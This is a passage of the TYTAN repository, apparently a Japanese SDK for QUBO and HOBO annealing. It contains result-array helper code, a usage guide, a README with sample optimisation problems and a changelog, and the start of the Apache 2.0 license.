57 | #subs = np.array([re.findall(f, key) for key in keys])
58 | subs = np.squeeze(subs)
59 | if len(subs.shape) == 1:
60 | subs = subs[:, np.newaxis]
61 | #print(subs.shape)
62 | #print(subs)
63 |
64 | #添字の次元判定
65 | #(n, 1) -> 1次元
66 | #(n, 2) -> 2次元
67 | #(n, 3) -> 3次元
68 | dim = subs.shape[1]
69 | #print(dim)
70 |
71 | #次元ごとの添字セットを抽出、添字種類数も抽出
72 | subs_sets = []
73 | subs_dims = []
74 | for d in range(dim):
75 | #この次元の添字セット
76 | subs_set = np.array(list(set(subs[:, d])), str)
77 | #print(subs_set)
78 |
79 | try:
80 | #添字が数字として認識できれば
81 | [float(sub) for sub in subs_set]
82 | #print('float')
83 |
84 | #数字に従ってソート、自然順になる
85 | subs_float = np.array(subs_set, float)
86 | sorted_subs_set = subs_set[np.argsort(subs_float)]
87 | except:
88 | #添字に文字が一つでもあれば文字でソート
89 | sorted_subs_set = subs_set[np.argsort(subs_set)]
90 | #print(sorted_subs_set)
91 |
92 | #格納
93 | subs_sets.append(list(sorted_subs_set))
94 | subs_dims.append(len(sorted_subs_set))
95 | #print(subs_sets)
96 | #print(subs_dims)
97 |
98 | #行列を作成
99 | ret = np.ones(subs_dims, int) * -1
100 |
101 | #次元で分岐、面倒なのでとりあえずこれで5次元まで対応したこととする
102 | if dim == 1:
103 | for i, isub in enumerate(subs_sets[0]):
104 | try:
105 | #あれば代入、なければ-1のまま
106 | ret[i] = a[format_txt.format(isub)]
107 | except:
108 | pass
109 | return ret, subs_sets[0]
110 | elif dim == 2:
111 | for (i, isub), (j, jsub) in itertools.product(enumerate(subs_sets[0]), enumerate(subs_sets[1])):
112 | try:
113 | #あれば代入、なければ-1のまま
114 | ret[i, j] = a[format_txt.format(isub, jsub)]
115 | except:
116 | pass
117 | elif dim == 3:
118 | for (i, isub), (j, jsub), (k, ksub) in itertools.product(enumerate(subs_sets[0]), enumerate(subs_sets[1]), enumerate(subs_sets[2])):
119 | try:
120 | #あれば代入、なければ-1のまま
121 | ret[i, j, k] = a[format_txt.format(isub, jsub, ksub)]
122 | except:
123 | pass
124 | elif dim == 4:
125 | for (i, isub), (j, jsub), (k, ksub), (l, lsub) in itertools.product(enumerate(subs_sets[0]), enumerate(subs_sets[1]), enumerate(subs_sets[2]), enumerate(subs_sets[3])):
126 | try:
127 | #あれば代入、なければ-1のまま
128 | ret[i, j, k, l] = a[format_txt.format(isub, jsub, ksub, lsub)]
129 | except:
130 | pass
131 | elif dim == 5:
132 | for (i, isub), (j, jsub), (k, ksub), (l, lsub), (m, msub) in itertools.product(enumerate(subs_sets[0]), enumerate(subs_sets[1]), enumerate(subs_sets[2]), enumerate(subs_sets[3]), enumerate(subs_sets[4])):
133 | try:
134 | #あれば代入、なければ-1のまま
135 | ret[i, j, k, l, m] = a[format_txt.format(isub, jsub, ksub, lsub, msub)]
136 | except:
137 | pass
138 | else:
139 | pass
140 | return ret, subs_sets
141 |
142 |
143 | #pandas形式で得る
144 | def get_dframe(self, format_txt):
145 | #次元が1か2でなければエラー
146 | if format_txt.count('{}') not in [1, 2]:
147 | raise
148 |
149 | #numpy形式
150 | arr, subs = self.get_ndarray(format_txt)
151 |
152 | #dframeを作成
153 | if format_txt.count('{}') == 1:
154 | arr = arr[:, np.newaxis].T
155 | df = pd.DataFrame(arr, columns=subs)
156 | else:
157 | df = pd.DataFrame(arr, columns=subs[1], index=subs[0])
158 |
159 | return df, subs
160 |
161 | #image形式で得る
162 | def get_image(self, format_txt):
163 | #次元が2でなければエラー
164 | if format_txt.count('{}') not in [2]:
165 | raise
166 |
167 | #numpy形式
168 | arr, subs = self.get_ndarray(format_txt)
169 |
170 | #imageを作成
171 | image = np.array(arr, 'uint8') * 255
172 |
173 |
174 | return image, subs
175 |
176 | #nbitを解析して値を得る
177 | def get_nbit_value(self, expr):
178 |
179 | #symengine式をsympy式に変換
180 | expr = sympify(expr)
181 |
182 | #nbit式中のシンボル抽出
183 | symbols = list(expr.atoms(sympy_Symbol))
184 |
185 | #nbit式中のシンボルに結果を戻す
186 | tmp = [(symbols[i], self.a[f'{symbols[i]}']) for i in range(len(symbols))]
187 | ans = expr.subs(tmp)
188 |
189 | #余計な少数0をなくして返す
190 | return float(ans)
191 |
--------------------------------------------------------------------------------
/document .md:
--------------------------------------------------------------------------------
1 | ## インストール(pip)
2 | 更新が頻繁なためgithubからのインストールを推奨します。
3 | ```
4 | pip install -U git+https://github.com/tytansdk/tytan
5 | ```
6 |
7 | pipインストールはこちらです。
8 | ```
9 | pip install -U tytan
10 | ```
11 |
12 | ## import
13 | コードの冒頭ですべての機能をインポートしておくことを推奨します。
14 | ```python
15 | from tytan import symbols, symbols_list, symbols_define, symbols_nbit, Compile, sampler, Auto_array
16 | ```
17 | または
18 | ```python
19 | from tytan import *
20 | ```
21 |
22 | ## 量子ビットの定義(文字シンボルの定義)
23 | 基礎として、次のように文字シンボルを定義します。
24 | ```python
25 | x = symbols('x')
26 | ```
27 | ```python
28 | x, y, z = symbols('x y z')
29 | ```
30 | ```python
31 | q = [symbols(f'q{i}') for i in range(5)] #[q0, q1, q2, q3, q4]
32 | ```
33 |
34 | また、1次元~多次元の量子ビットを一度に定義できる関数が2種類あります。
35 |
36 | 文字シンボルを配列に定義する場合、次のようにndarray配列を得ます。
37 | 第2引数は省略できません!(2024/02/18修正より)
38 | ```python
39 | q = symbols_list([3, 3], 'q{}_{}')
40 | print(q)
41 | ```
42 | ```
43 | [[q0_0 q0_1 q0_2]
44 | [q1_0 q1_1 q1_2]
45 | [q2_0 q2_1 q2_2]]
46 | ```
47 |
48 | 文字シンボルを個別に定義する場合、次のように実行コマンドテキスト得てからexec()で実行します。
49 | この方法では、IDEによっては後に構文警告(文字が未定義です)が表示されることがあります。
50 | 第2引数は省略できません!(2024/02/18修正より)
51 | ```python
52 | command = symbols_define([3, 3], 'q{}_{}')
53 | print(command)
54 | exec(command)
55 | ```
56 | ```
57 | q0_0 = symbols('q0_0')
58 | q0_1 = symbols('q0_1')
59 | q0_2 = symbols('q0_2')
60 | q1_0 = symbols('q1_0')
61 | q1_1 = symbols('q1_1')
62 | q1_2 = symbols('q1_2')
63 | q2_0 = symbols('q2_0')
64 | q2_1 = symbols('q2_1')
65 | q2_2 = symbols('q2_2')
66 | ```
67 |
68 | ## 数式の設定
69 | 各自がんばってください。
70 |
71 | ▼資料
72 | [TYTANチュートリアル](https://github.com/tytansdk/tytan_tutorial)
73 | [量子アニーリングのQUBOで設定可能な条件式まとめ(保存版)](https://vigne-cla.com/21-12/)(外部サイト)
74 |
75 | ▼勉強会
76 | [connpass「TYTAN」アニーリング](https://mdrft.connpass.com/)
77 |
78 | ▼コミュニティ
79 | [Discord「TYTAN」](https://discord.gg/qT5etstPW8)
80 |
81 | ## サンプリング
82 | 数式をコンパイルしてサンプリングする手続きはほぼこのままです。Hの部分が数式。サンプリングの乱数シードは固定可。サンプリング回数(shots)はデフォルトが100なので適宜変更してください。
83 | ```python
84 | #コンパイル
85 | qubo, offset = Compile(H).get_qubo()
86 |
87 | #サンプラー選択
88 | solver = sampler.SASampler(seed=None)
89 |
90 | #サンプリング
91 | result = solver.run(qubo, shots=100)
92 | ```
93 |
94 | ▼サンプラー一覧
95 | ローカルCPUサンプラー:100量子ビット程度まで
96 | ```python
97 | #SAサンプラー
98 | solver = sampler.SASampler(seed=None)
99 | result = solver.run(qubo, shots=100)
100 | ```
101 | ```python
102 | #GAサンプラー
103 | solver = sampler.GASampler(seed=None)
104 | result = solver.run(qubo, shots=100)
105 | ```
106 | ローカルGPUサンプラー:100-1,000量子ビット程度
107 | ```python
108 | #高速GPUサンプラー
109 | solver = sampler.ArminSampler(seed=None)
110 | result = solver.run(qubo, shots=100)
111 | ```
112 | ```python
113 | #対ワンホット高速GPUサンプラー
114 | solver = sampler.PieckSampler(seed=None) #コンパイルも特殊なので注意
115 | result = solver.run(qubo, shots=100)
116 | ```
117 |
118 | 商用クラウドサンプラー:1,000-100,000量子ビット程度 ※要詳細
119 | ```python
120 | ZekeSampler()
121 | NQSSampler()
122 | ```
123 |
124 | ## 結果確認
125 | 結果はエネルギーが低い解から順にリスト形式で格納されています。「量子ビットの値」「エネルギー(コスト)値」「出現数」の順。
126 | ```python
127 | for r in result:
128 | print(r)
129 | ```
130 | ```
131 | [{'x': 0, 'y': 1, 'z': 1}, -4.0, 27]
132 | [{'x': 1, 'y': 0, 'z': 1}, -4.0, 23]
133 | [{'x': 1, 'y': 1, 'z': 0}, -4.0, 50]
134 | ```
135 |
136 | 0, 1のみを取り出す場合は次の通りだが、シンボルがアルファベット順のためq11がq2より手前に来たりすることに注意!(後述の方法でシンボルの自然順ソートが可能)
137 | ```python
138 | for r in result:
139 | print(list(r[0].values()))
140 | ```
141 | ```
142 | [0, 1, 1]
143 | [1, 0, 1]
144 | [1, 1, 0]
145 | ```
146 |
147 | また、1次元~多次元の量子ビットの結果を見やすくする関数が3種類あります。いずれも結果リストから単一の結果を与えて使用します。
148 |
149 | ndarray形式の配列に変換する方法は次のとおりです。1次元~5次元まで対応。1次元の場合でもこの関数を通すことでシンボルが自然順ソートされ、q11はq2より後に来るようになる(便利)。
150 | ```python
151 | arr, subs = Auto_array(result[0]).get_ndarray('q{}_{}')
152 | print(arr)
153 | print(subs)
154 | ```
155 | ```
156 | [[0 0 1]
157 | [0 1 0]
158 | [1 0 0]]
159 | [['0', '1', '2'], ['0', '1', '2']]
160 | ```
161 |
162 | DataFrame形式の配列に変換する方法は次のとおりです。1次元と2次元のみ対応。
163 | ```python
164 | df, subs = Auto_array(result[0]).get_dframe('q{}_{}')
165 | print(df)
166 | ```
167 | ```
168 | 0 1 2
169 | 0 0 0 1
170 | 1 0 1 0
171 | 2 1 0 0
172 | ```
173 |
174 | 画像形式の配列に変換する方法は次のとおりです。2次元のみ対応。opencv形式、すなわちndarray(dtype='uint8')形式のグレースケール画像(0または255)です。
175 | ```python
176 | img, subs = Auto_array(result[0]).get_image('q{}_{}')
177 |
178 | import matplotlib.pyplot as plt
179 | plt.imshow(img)
180 | plt.yticks(range(len(subs[0])), subs[0])
181 | plt.xticks(range(len(subs[1])), subs[1])
182 | plt.show()
183 | ```
184 |
185 |
186 |
187 |
188 | ## QUBO行列を入力する方法
189 | 数式を記述する方法だけでなく、QUBO行列を入力する方法、QUBO行列をcsv読み込みする方法にも対応しています。それぞれのコンパイルまでの例です。サンプリング以降は共通です。
190 |
191 | QUBO行列を入力する方法
192 | ```python
193 | import numpy as np
194 |
195 | # QUBO行列を指定(上三角行列)
196 | matrix = np.array([[-3, 2, 2], [0, -3, 2], [0, 0, -3]])
197 | print(matrix)
198 |
199 | #コンパイル
200 | qubo, offset = Compile(matrix).get_qubo()
201 | ```
202 | ```
203 | [[-3 2 2]
204 | [ 0 -3 2]
205 | [ 0 0 -3]]
206 | ```
207 |
208 | QUBO行列をcsv読み込みする方法
209 | ```python
210 | import pandas as pd
211 |
212 | # QUBO行列を読み込み(上三角行列)
213 | # header, index名を設定すれば量子ビット名に反映される
214 | matrix = pd.read_csv('matrix.csv', header=None)
215 | print(matrix)
216 |
217 | #コンパイル
218 | qubo, offset = Compile(matrix).get_qubo()
219 | ```
220 | ```
221 | 0 1 2
222 | 0 -3 2 2
223 | 1 0 -3 2
224 | 2 0 0 -3
225 | ```
226 |
227 |
228 | ## N-bitの変数を扱う方法
229 | 量子ビット(文字シンボル)はそのままでは0と1しか取り得ないため、幅広く整数や小数を表現するには複数の量子ビットを使ったN-bit表現を行う。例えば8-bitを使用して0から255までの整数を表現できる。これを簡単に扱うためのsymbols_nbit()関数とAuto_array().get_nbit_value()関数が用意されている。
230 |
231 | 例えば以下の連立方程式を解く場合、x, y, zとも0~255の整数であることが既知として、それぞれ8-bit表現して解くことができる。
232 | 10x+14y+4z = 5120
233 | 9x+12y+2z = 4230
234 | 7x+5y+2z = 2360
235 |
236 | ```python
237 | #量子ビットをNビット表現で用意する
238 | x = symbols_nbit(0, 256, 'x{}', num=8)
239 | print(x)
240 | y = symbols_nbit(0, 256, 'y{}', num=8)
241 | z = symbols_nbit(0, 256, 'z{}', num=8)
242 |
243 | #連立方程式の設定
244 | H = 0
245 | H += (10*x +14*y +4*z - 5120)**2
246 | H += ( 9*x +12*y +2*z - 4230)**2
247 | H += ( 7*x + 5*y +2*z - 2360)**2
248 |
249 | #コンパイル
250 | qubo, offset = Compile(H).get_qubo()
251 | #サンプラー選択
252 | solver = sampler.SASampler()
253 | #サンプリング
254 | result = solver.run(qubo, shots=500)
255 |
256 | #1つ目の解をNビット表現から数値に戻して確認
257 | print(result[0])
258 | print('x =', Auto_array(result[0]).get_nbit_value(x))
259 | print('y =', Auto_array(result[0]).get_nbit_value(y))
260 | print('z =', Auto_array(result[0]).get_nbit_value(z))
261 | ```
262 | ```
263 | 128.0*x0 + 64.0*x1 + 32.0*x2 + 16.0*x3 + 8.0*x4 + 4.0*x5 + 2.0*x6 + 1.0*x7
264 | [{'x0': 1, 'x1': 0, 'x2': 0, 'x3': 0, 'x4': 0, 'x5': 0, 'x6': 1, 'x7': 0, 'y0': 1, 'y1': 1, 'y2': 1, 'y3': 0, 'y4': 0, 'y5': 1, 'y6': 1, 'y7': 0, 'z0': 1, 'z1': 0, 'z2': 0, 'z3': 1, 'z4': 0, 'z5': 1, 'z6': 1, 'z7': 0}, -49676900.0, 2]
265 | x = 130.0
266 | y = 230.0
267 | z = 150.0
268 | ```
269 |
270 |
271 | ## 商用クラウドサンプラーの使い方
272 | blueqatサイトでアカウント登録しAPIキーを発行。NQSSamplerは結果が1種類しか返ってこないことに注意(調整中)
273 | ```python
274 | #サンプラー選択
275 | solver = sampler.NQSSampler(api_key='your_key') #ここか
276 | #サンプリング
277 | result = solver.run(qubo, api_key='your_key') #ここでAPIキーを指定
278 | ```
279 |
280 | ## GPUサンプラーの使い方1
281 | これ無料って本当ですか?(商用サンプラーを出している会社から睨まれているらしい)
282 |
283 | pytorchは別途インストールする必要があります。
284 |
285 | ```python
286 | #サンプラー選択
287 | solver = sampler.ArminSampler(seed=None, mode='GPU', device='cuda:0', verbose=1)
288 | #サンプリング
289 | result = solver.run(qubo, shots=100, T_num=2000, show=False)
290 | ```
291 |
292 | mode='GPU' CPUモードにするには'CPU'
293 | device='cuda:0' 複数GPUを挿している場合でcuda:1以降を指定したい場合に使用。Macの'mps:0'とかもここ
294 | verbose=1 繰り返し実行時などでモード表示を出したくなければ0に
295 | shots=100 サンプリング数
296 | T_num=2000 フリップ繰り返し数。温度をよりゆっくり下げたければ4000とかに増やす
297 | show=False Trueにするとエネルギーの記録がグラフ表示される
298 |
299 | GPUモードはshotsを増やしても計算時間があまり増えないのが特徴。shots=10000とか50000とかにできる。
300 |
301 | Colabの場合はGPU(T4)を選ぶこと。TPUは非対応。
302 |
303 | ## GPUサンプラーの使い方2
304 | こちらもなんと無料。ArminSamplerをさらにワンホット制約に強くしたもの。PieckCompile()とセットで使う必要あり。
305 |
306 | ```python
307 | #コンパイル
308 | qubo, offset = PieckCompile(H).get_qubo()
309 | #サンプラー選択
310 | solver = sampler.PieckSampler(seed=None, mode='GPU', device='cuda:0', verbose=1)
311 | #サンプリング
312 | result = solver.run(qubo, shots=100, T_num=2000, show=False)
313 | ```
314 |
315 | 1次元ワンホット群をもつ問題において大幅に改善される。2次元以上のワンホット群に対しては1次元分しか対応されないので改善してもなお無理が残る。何を言っているか分からないと思うが数独は3次元ワンホットなので全然ダメ。使い方はPieckSamplerで検索して出てくるブログを参照。
316 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## 最近のアップデート情報
2 |
3 | ★3次以上の項に対応しました。高次の式にはget_hobo()とMIKASAmpler()を使用してください
4 | ➝だいたい5次以上の式だとコンパイルでメモリオーバーすると思います。その場合は [HOBOTAN](https://github.com/ShoyaYasuda/hobotan) の使用を検討してください。
5 |
6 | ★GPUで高速サンプリングができるArminSamplerが追加されました
7 |
8 | ★Compile()を100~300倍に高速化しました(derwind様提供)
9 |
10 | 全ての関数については [ドキュメント](https://github.com/tytansdk/tytan/blob/main/document%20.md) をご覧ください。
11 |
12 | ## チュートリアル
13 |
14 | ~~毎週木曜日22時からオンライン解説会。~~ オンデマンド動画もあります。→ [TYTANチュートリアルのページ](https://github.com/tytansdk/tytan_tutorial)
15 |
16 | ## TYTAN(タイタン)とは
17 | 大規模QUBOアニーリングのためのSDKです。
18 |
19 | QUBOを共通の入力形式とし、複数のサンプラーから選んでアニーリングできます。
20 |
21 | 入力は、数式を記述する方法、QUBO行列を入力する方法、QUBO行列をcsv読み込みする方法があります。
22 |
23 | 結果を自動で多次元配列に変換する機能を搭載。短いコードで確認できます。詳しくは [ドキュメント](https://github.com/tytansdk/tytan/blob/main/document%20.md) を参照ください。
24 |
25 | ## サンプラー
26 | 基本的なローカルサンプラーの他、外部のAPIサンプラーなどを組み込めるようにしています。組み込みたソルバーがあればご連絡ください。
27 |
28 | QUBO(2次までの式)で使えるサンプラー
29 | ```
30 | SASampler : ローカルCPU ★100量子ビットまではこれがおすすめ
31 | GASampler : ローカルCPU
32 | ArminSampler : ローカルCPU/GPU ★100量子ビット以上はこれがおすすめ
33 | PieckSampler : ローカルCPU/GPU
34 | ZekeSampler : 商用クラウドサンプラー
35 | NQSSampler : 商用クラウドサンプラー
36 | ```
37 |
38 | HOBO(3次以上の式)で使えるサンプラー
39 | ```
40 | SASampler : ローカルCPU ★100量子ビットまではこれがおすすめ
41 | ArminSampler : ローカルCPU/GPU
42 | MIKASAmpler : ローカルCPU/GPU ★100量子ビット以上はこれがおすすめ
43 | ```
44 |
45 |
46 | ## インストール
47 | 対応するpythonバージョンは3.8以上です!
48 |
49 | 更新が頻繁なためgithubからのインストールを推奨します。
50 | ```
51 | pip install -U git+https://github.com/tytansdk/tytan
52 | ```
53 |
54 | pipインストールはこちらです。(更新忘れることがあります)
55 | ```
56 | pip install -U tytan
57 | ```
58 |
59 | ## サンプルコード1
60 | 3個の量子ビットのうち2個だけを1にする例です。結果は「量子ビットの値」「エネルギー(コスト)値」「出現数」の順で格納されています。
61 |
62 | ```python
63 | from tytan import *
64 |
65 | #量子ビットを用意
66 | x = symbols('x')
67 | y = symbols('y')
68 | z = symbols('z')
69 |
70 | #式を記述(3個のうち2個だけ1にする)
71 | H = (x + y + z - 2)**2
72 |
73 | #コンパイル
74 | qubo, offset = Compile(H).get_qubo()
75 |
76 | #サンプラー選択
77 | solver = sampler.SASampler()
78 |
79 | #サンプリング
80 | result = solver.run(qubo)
81 |
82 | #結果
83 | for r in result:
84 | print(r)
85 | ```
86 | ```
87 | [{'x': 0, 'y': 1, 'z': 1}, -4.0, 27]
88 | [{'x': 1, 'y': 0, 'z': 1}, -4.0, 23]
89 | [{'x': 1, 'y': 1, 'z': 0}, -4.0, 50]
90 | ```
91 |
92 | ## サンプルコード2
93 | 3ルーク問題は、3×3マスに3つのルーク(飛車)を互いに利きが及ばないように置く方法を探す問題です。量子ビットを2次元配列でまとめて定義する関数があります。サンプリングの乱数シードは固定できます。結果を二次元配列に戻して可視化する方法も3種類あります。詳しくは [ドキュメント](https://github.com/tytansdk/tytan/blob/main/document%20.md) を参照ください。
94 |
95 | ```python
96 | from tytan import *
97 |
98 | #量子ビットを用意(まとめて定義)
99 | q = symbols_list([3, 3], 'q{}_{}')
100 | print(q)
101 |
102 | #各行に1つだけ1
103 | H = 0
104 | H += (q[0][0] + q[0][1] + q[0][2] - 1)**2
105 | H += (q[1][0] + q[1][1] + q[1][2] - 1)**2
106 | H += (q[2][0] + q[2][1] + q[2][2] - 1)**2
107 |
108 | #各列に1つだけ1
109 | H += (q[0][0] + q[1][0] + q[2][0] - 1)**2
110 | H += (q[0][1] + q[1][1] + q[2][1] - 1)**2
111 | H += (q[0][2] + q[1][2] + q[2][2] - 1)**2
112 |
113 | #コンパイル
114 | qubo, offset = Compile(H).get_qubo()
115 |
116 | #サンプラー選択(乱数シード固定)
117 | solver = sampler.SASampler(seed=0)
118 |
119 | #サンプリング(100回)
120 | result = solver.run(qubo, shots=100)
121 |
122 | #すべての結果を確認
123 | print('result')
124 | for r in result:
125 | print(r)
126 |
127 | #1つ目の結果を自動配列で確認(ndarray形式)
128 | arr, subs = Auto_array(result[0]).get_ndarray('q{}_{}')
129 | print('get_ndarray')
130 | print(arr)
131 | print(subs)
132 |
133 | #1つ目の結果を自動配列で確認(DataFrame形式)(1次元、2次元のみ)
134 | df, subs = Auto_array(result[0]).get_dframe('q{}_{}')
135 | print('get_dframe')
136 | print(df)
137 |
138 | #1つ目の結果を自動配列で確認(image形式)(2次元のみ)
139 | img, subs = Auto_array(result[0]).get_image('q{}_{}')
140 | import matplotlib.pyplot as plt
141 | print('get_image')
142 | plt.imshow(img)
143 | plt.yticks(range(len(subs[0])), subs[0])
144 | plt.xticks(range(len(subs[1])), subs[1])
145 | plt.show()
146 | ```
147 |
148 | ```
149 | [[q0_0 q0_1 q0_2]
150 | [q1_0 q1_1 q1_2]
151 | [q2_0 q2_1 q2_2]]
152 | result
153 | [{'q0_0': 0, 'q0_1': 0, 'q0_2': 1, 'q1_0': 0, 'q1_1': 1, 'q1_2': 0, 'q2_0': 1, 'q2_1': 0, 'q2_2': 0}, -6.0, 12]
154 | [{'q0_0': 0, 'q0_1': 0, 'q0_2': 1, 'q1_0': 1, 'q1_1': 0, 'q1_2': 0, 'q2_0': 0, 'q2_1': 1, 'q2_2': 0}, -6.0, 16]
155 | [{'q0_0': 0, 'q0_1': 1, 'q0_2': 0, 'q1_0': 0, 'q1_1': 0, 'q1_2': 1, 'q2_0': 1, 'q2_1': 0, 'q2_2': 0}, -6.0, 18]
156 | [{'q0_0': 0, 'q0_1': 1, 'q0_2': 0, 'q1_0': 1, 'q1_1': 0, 'q1_2': 0, 'q2_0': 0, 'q2_1': 0, 'q2_2': 1}, -6.0, 27]
157 | [{'q0_0': 1, 'q0_1': 0, 'q0_2': 0, 'q1_0': 0, 'q1_1': 0, 'q1_2': 1, 'q2_0': 0, 'q2_1': 1, 'q2_2': 0}, -6.0, 12]
158 | [{'q0_0': 1, 'q0_1': 0, 'q0_2': 0, 'q1_0': 0, 'q1_1': 1, 'q1_2': 0, 'q2_0': 0, 'q2_1': 0, 'q2_2': 1}, -6.0, 15]
159 | get_ndarray
160 | [[0 0 1]
161 | [0 1 0]
162 | [1 0 0]]
163 | [['0', '1', '2'], ['0', '1', '2']]
164 | get_dframe
165 | 0 1 2
166 | 0 0 0 1
167 | 1 0 1 0
168 | 2 1 0 0
169 | get_image
170 | ```
171 |
172 |
173 |
174 | ## サンプルコード3
175 | 3次以上の項を含む場合はQUBOではなくHOBOと呼ばれます。
176 |
177 | 事故を防ぐためコンパイル関数はQUBO用と区別しています。get_hobo()を使用してください。
178 |
179 | サンプリング関数はArminSampler()でもMIKASAmpler()でもOK、中身同じです。区別したい方はQUBO:ArminSampler(), HOBO:MIKASAmpler()がおすすめ。
180 |
181 | 以下のコードは、5✕5の席にできるだけ多くの生徒を座らせる(ただし縦・横に3席連続で座ってはいけない)を解いたもの。
182 |
183 | ```python
184 | import numpy as np
185 | from tytan import *
186 | import matplotlib.pyplot as plt
187 |
188 | #量子ビットを用意
189 | q = symbols_list([5, 5], 'q{}_{}')
190 |
191 | #すべての席に座りたい(できれば)
192 | H1 = 0
193 | for i in range(5):
194 | for j in range(5):
195 | H1 += - q[i, j]
196 |
197 | #どの直線に並ぶ3席も連続で座ってはいけない(絶対)
198 | H2 = 0
199 | for i in range(5):
200 | for j in range(5 - 3 + 1):
201 | H2 += np.prod(q[i, j:j+3])
202 | for j in range(5):
203 | for i in range(5 - 3 + 1):
204 | H2 += np.prod(q[i:i+3, j])
205 |
206 | #式の合体
207 | H = H1 + 10*H2
208 |
209 | #HOBOテンソルにコンパイル
210 | hobo, offset = Compile(H).get_hobo()
211 | print(f'offset\n{offset}')
212 |
213 | #サンプラー選択
214 | solver = sampler.MIKASAmpler()
215 |
216 | #サンプリング
217 | result = solver.run(hobo, shots=10000)
218 |
219 | #上位3件
220 | for r in result[:3]:
221 | print(f'Energy {r[1]}, Occurrence {r[2]}')
222 |
223 | #さくっと配列に
224 | arr, subs = Auto_array(r[0]).get_ndarray('q{}_{}')
225 | print(arr)
226 |
227 | #さくっと画像に
228 | img, subs = Auto_array(r[0]).get_image('q{}_{}')
229 | plt.figure(figsize=(2, 2))
230 | plt.imshow(img)
231 | plt.show()
232 | ```
233 | ```
234 | offset
235 | 0
236 | MODE: GPU
237 | DEVICE: cuda:0
238 | Energy -17.0, Occurrence 686
239 | [[1 1 0 1 1]
240 | [1 1 0 1 1]
241 | [0 0 1 0 0]
242 | [1 1 0 1 1]
243 | [1 1 0 1 1]]
244 | Energy -17.0, Occurrence 622
245 | [[1 1 0 1 1]
246 | [1 0 1 1 0]
247 | [0 1 1 0 1]
248 | [1 1 0 1 1]
249 | [1 0 1 1 0]]
250 | Energy -17.0, Occurrence 496
251 | [[0 1 1 0 1]
252 | [1 1 0 1 1]
253 | [1 0 1 1 0]
254 | [0 1 1 0 1]
255 | [1 1 0 1 1]]
256 | ```
257 |
258 |
259 |
260 |
261 |
262 | ## 商用利用OK
263 | TYTANは商用利用前提ですので、個人での利用はもちろん企業での活用を促進しています。
264 |
265 | ## 更新履歴
266 | |日付|ver|内容|
267 | |:---|:---|:---|
268 | |2025/11/28|0.1.4|各samplerの収束力を微調整|
269 | |2025/11/27|0.1.3|各samplerのshots下限値を1に引き下げ(KF様協力)|
270 | |2025/09/08|0.1.2|numpy2系での結果の表示を修正|
271 | |2024/08/23|0.1.1|requirements.txtを軽量化|
272 | |2024/08/12|0.1.0|HOBOTANを統合したメジャーアップデート、その他微修正|
273 | |2024/08/12|0.0.30|Compile時の次数チェックの修正および高速化|
274 | |2024/08/11|0.0.29|symbols_list, symbols_define関数をリファクタリング|
275 | |2024/03/07|0.0.28|numpyのバージョン指定を解除|
276 | |2024/02/25|0.0.27|PieckSampler追加(試験的)|
277 | |2024/02/20|0.0.26|mps対応の修正|
278 | |2024/02/18|0.0.25|symbols_list, symbols_define, symbols_nbitに関する修正|
279 | |2024/02/13|0.0.23|ArminSamplerのデフォルトをGPUモードに, mps対応|
280 | |2024/02/12|0.0.22|ArminSampler追加|
281 | |2024/01/12|0.0.20|Compile高速化|
282 | |2023/10/30|0.0.19|制約が2次を超える場合にエラーを返す|
283 | |2023/08/31|0.0.18|安定版|
284 | |2023/08/21|0.0.17|PyPI経由のインストールエラーを解消|
285 | |2023/07/09|0.0.15|網羅探索するオプション追加|
286 | |2023/07/03|0.0.14|Compile修正, requirements.txt修正|
287 | |2023/06/21|0.0.12|Auto_array修正, SASampler性能UP|
288 | |2023/06/17|0.0.9|requirements.txt修正, symbols_nbit, Auto_array.get_nbit_value追加|
289 | |2023/06/12|0.0.8|SASampler性能UP, GASampler性能UP|
290 | |2023/06/10|0.0.7|symbols_list, symbols_define追加、ドキュメント作成|
291 | |2023/06/07|0.0.6|Auto_array追加|
292 | |2023/06/01||シード固定追加|
293 | |2023/05/26|0.0.5|全体構造修正|
294 | |2023/03/28||SASampler高速化|
295 | |2023/03/22||GASampler追加|
296 | |2023/03/15||初期版|
297 |
298 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
